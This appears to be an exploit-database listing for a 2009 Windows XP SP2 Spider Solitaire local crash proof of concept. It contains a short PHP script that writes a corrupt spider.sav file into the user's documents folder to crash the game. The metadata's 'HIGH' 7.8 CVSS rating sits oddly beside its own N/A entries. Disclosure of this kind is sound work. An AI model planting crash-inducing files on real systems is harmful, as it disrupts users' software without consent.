header-logo
Suggest Exploit
vendor:
Windows XP
by:
SirGod
7.8
CVSS
HIGH
Local Crash
119
CWE
Product Name: Windows XP
Affected Version From: Windows XP SP2
Affected Version To: Windows XP SP2
Patch Exists: NO
Related CWE: N/A
CPE: o:microsoft:windows_xp::sp2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2009

Spider Solitaire (Windows XP SP2) Local Crash PoC

Loading a corrupt save file(spider.sav) will result in a local crash of Spider Solitaire

Mitigation:

Ensure that the save files are not corrupted and are from a trusted source.
Source

Exploit-DB raw data:

<?php
/*
Spider Solitaire (Windows XP SP2) Local Crash PoC
By SirGod
www.insecurity.ro
www.twitter.com/SirGod
Loading a corrupt save file(spider.sav) will result in a local crash of Spider Solitaire
*/

$username="pwn"; //Replace with your computer username
$file="spider.sav";
$junk="Spider Solitaire Local Crash";
$handle = fopen($file, 'w') or die("Can't create file");
fwrite($handle,$junk);
fclose($handle);
$file2="C:/Documents and Settings/" .$username. "/My Documents/spider.sav";
if(!copy($file,$file2))
{
    die("Can't copy file");
}
  else
{
  echo "File succesfully copied.Open Spider Solitaire and load the last saved game";
};
?>